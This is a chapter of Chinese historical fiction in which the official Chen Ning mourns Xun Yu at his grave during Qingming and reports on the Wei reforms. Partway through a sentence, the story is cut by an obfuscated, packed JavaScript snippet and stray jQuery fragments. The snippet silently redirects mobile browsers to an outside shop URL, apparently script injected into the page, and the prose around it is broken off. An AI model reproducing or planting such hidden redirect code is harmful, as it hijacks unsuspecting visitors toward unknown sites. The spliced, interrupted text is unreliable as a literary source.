黄初七年·清明
清明那日，天色淡青，云薄如絮，东面的天际线泛着一层极淡的鹅黄色光晕。陈宁天不亮便醒了，在宅院里慢慢走了两圈活动筋骨，然后从书案底层的漆匣中取出一只旧陶壶。壶是他特意留下的，建安十八年荀彧葬礼后他从灵堂侧廊上顺走的——当时灵堂里祭品堆得满满当当，那只陶壶搁在角落里，不大起眼，装着半壶祭酒。他也不知自己当时为何要带走它，只是觉得壶身上那道细小的裂纹像是被什么重物磕出来的，让他心里微微动了一下。这十几年间，那只壶一直收在漆匣底层，每年清明前一日取出来，擦洗干净，灌上新酒，第二日带去墓园。
他出门时，天光已经亮透了。邺城南门的守卫认得他，没有多问便放了行。出城之后沿着官道往东南走三里，拐入一条土路，两旁是返青的麦田和零星的桃树。桃花开得正好，粉白的花瓣落在湿润的土埂上，被晨露浸得透亮。陈宁走得慢，大约走了一炷香的功夫，才看见那片墓园的石门。
墓园不大，四面围着矮墙，墙根长满了青苔，墙角几株老松被风吹得偏向东南，枝干虬曲如老人伸出的手。荀彧的墓在墓园最深处的角落里，不起眼，甚至可以说寒素。墓碑是一整块青石，表面已经被风雨磨得有些圆润了，棱角不再分明。碑上没有爵位，没有谥号，没有长串的华丽辞章，只有一行字——“汉故侍中守尚书令荀公讳彧之墓”。字体是标准的隶书，端正而清瘦，笔画之间有一种凛然不可犯的工整。
陈宁在碑前蹲下身来，从怀中取出那块旧绢布，将碑面上的尘土和去年冬天残留的苔痕轻轻擦去。绢布擦过石面时发出细碎的沙沙声，像是在对某个沉睡的人说“我来了”。他擦完之后退后半步看了看，阳光斜斜地照在那行字上，将凹痕里的阴影驱散了大半，那些字便显得清晰了许多。陈宁看着那行字，像是看着一个人以最简单的方式立在原地，不言不语，却什么都在那里。
他从随身的布袋里取出那只陶壶和两只杯子。杯子也是一对旧物，杯沿有细小的磕痕，是早年在尚书台值夜时常用的。他先将荀彧面前的杯子斟满，酒液澄澈透明，在晨光中泛着琥珀色的光泽。然后他给自己也斟了半杯，在碑侧的青石板上坐了下来。
“荀公，我来看你了。”他的声音被春日的晨风吹散在松枝间，语调平平的，像在同隔墙而坐的旧友闲话家常。“你走以后，发生了很多事。魏公进位了魏王，汉帝把天下禅了。先帝登基那年改国号为大魏，建都洛阳。你大概已经知道了。今年春天，先帝也走了。曹叡继了位，才二十二岁。年纪轻轻，身上担子不轻。”
他抿了一口酒，酒液顺着喉咙滑下去，暖融融的，在胸腔里化开。“常平仓的事我还在做。先帝在位那几年扩到了荆州和扬州，那边的豪强闹腾了一阵子，后来见闹不动了，也就老实了。盐铁那套制度比你当年设想的走得远了些，先帝把它并入了度支曹统一管辖，每年裁下来的损耗，够支两三万大军打一场仗。”
风穿过松枝，发出一阵低沉而绵长的呜咽声，像是墓园深处有什么东西在缓缓翻动。陈宁侧耳听了片刻，继续往下说：“考课法也推行了。现在各郡县的官员每年都要交一份实绩表，收了多少粮，垦了多少荒，治了多少狱，平了多少案，都按条目列出来。做得好的升，做不好的降。当然，门阀子弟还是比寒门容易些——中正官那里毕竟有人情。但比从前好多了，至少有了个说法。有人不认账的时候，可以拿白纸黑字出来对证。”
他顿了一顿，像是想起了什么：“去年秋天，洛阳太学旧址旁边建了一间学舍。地方不大，三间屋子，收了二十几个学生。有一个老儒生在那里讲《论语》，讲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741936|209112||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得不算好，但底下的人听得认真。有人在那间学舍的堂前摆了一片瓦当，上面刻着‘永平’二字，说是从旧址里挖出来的。我听说了，觉得挺好。种子埋下去了，土松了，水也浇了，它自己会长的。”
他低头看了看杯中的酒，酒面映着一片碎金般的晨光，微微晃动着。“你当年在尚书台挑中我，大概也没想到我能走这么远。说实话，我自己也没想到。当年我拿着那篇屯田策论去敲荀悦先生的门时，心里想着的不过是混口饭吃，在这乱世里活下去。是你给了我一条路，让我知道自己能做什么、该做什么。你教我算账，教我识人，教我在两难之间找第三条路。你走的时候，我很难过。这些年过去，那难过淡了一些，但还在那里。”
陈宁将杯中的残酒缓缓倒在碑前的泥土里。酒液渗入草根下的湿土，很快便不见了踪影，只在泥土表面留下一片深色的湿润痕迹。他站起身来时腿有些发麻，不得不用手撑着石碑稳住身形。老了，膝盖的旧伤每逢阴雨或久坐便隐隐作痛，像一只不肯松口的旧咬痕。他扶着石碑站了一会儿，等那股酸麻感消退之后，才整了整衣袍，对着墓碑郑重地深深一揖。
“荀公，明年清明我再来看你。”
他转身沿着来路往回走。走出七八步时停了一下，没有回头，对着身后那片安静的墓碑说了一句：“你当年对我说的最后一句话——你说，‘你要知道你的每一步棋会触动谁的利益。’这句话救了我很多次。谢谢。”
阳光从云隙中倾泻下来，落在荀彧的青石碑上。那行隶书字迹在光线下显得格外清晰，横平竖直，一笔不多，一笔不少。风住了，松枝垂着，整个墓园浸在春天上午明净的日光里，静得能听见远处麦田里布谷鸟断断续续的叫声。
陈宁没有回头。他拎着那只旧陶壶，沿着来时的路慢慢走远了。